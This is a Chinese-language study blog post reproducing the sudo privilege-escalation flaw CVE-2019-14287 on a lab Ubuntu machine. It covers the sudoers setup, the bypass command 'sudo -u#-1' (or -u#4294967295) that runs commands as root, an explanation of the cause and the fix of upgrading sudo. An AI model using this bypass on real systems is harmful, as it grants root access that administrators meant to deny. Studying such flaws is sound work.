(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

该复现参考网络中的文章,该漏洞复现仅仅是为了学习交流,严禁非法使用!!!

 

一、简介

sudo:Linux系统命令,让普通账号以root身份去执行某些命令,如,安装软件、查看某些配置文件、关机、重启等操作,如果普通账号需要使用sudo需要修改配置文件/etc/sudoers,将sudo使用权限赋予该账号

  • sudo提权漏洞是一个安全策略绕过问题,去执行某些敏感的命令,CVE编号是CVE-2019-14287,影响的版本是:<1.8.28

 

二、漏洞复现过程

靶机:Ubuntu 18 x64系统

1.查看sudo版本,并创建test用户

1 sudo -V  查看sudo版本
2 useradd test  添加test用户
3 passwd test  为test用户设置密码

2.修改sudo配置文件:在root ALL=(ALL:ALL) ALL下面添加一行配置test    ALL=(ALL,!root) ALL

sudo gedit /etc/sudoers  使用文本编辑器打开sudo配置文件

1 test    ALL=(ALL,!root) ALL
2     test  表示test用户
3     第一个ALL表示该用户可以在任意地方使用sudo
4     第二个(ALL,!root)  表示命令可以被除了root以外的任意用户执行
5     最后一个ALL  表示被允许执行
  • 整体表示:test用户可以使用sudo,以除了root以外的任意用户去执行命令

3.切换到test用户,su test,然后进行测试

sudo id  查看root用户的ID

  • 由上图可以看到,使用命令报错
  • 解决方法:sudo -u#数字 命令,其中数字是范围:-1~4294967295,命令是系统命令
  • 如果要以root身份去执行命令,数字使用-1或4294967295,至此漏洞复现成功!!
    • 命令中的数字是id号,可以在/etc/group中查看

  • 解释:使用 sudo -u#id 指定用户 id 去执行命令,由于可以指定id,所以可以使用-u#-1或者-u#4294967295绕过限制,从而以root身份去执行任意代码。这是因为 sudo 命令本身就已经以用户 ID 为0运行,因此当 sudo 试图将用户 ID 修改成-1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令

(解释来源于https://www.cnblogs.com/-mo-/p/11683402.html,很详细感谢!!!)

三、总结:该漏洞复现比较鸡肋,需要管理员修改配置文件

四、修复方法:更新sudo版本1.8.28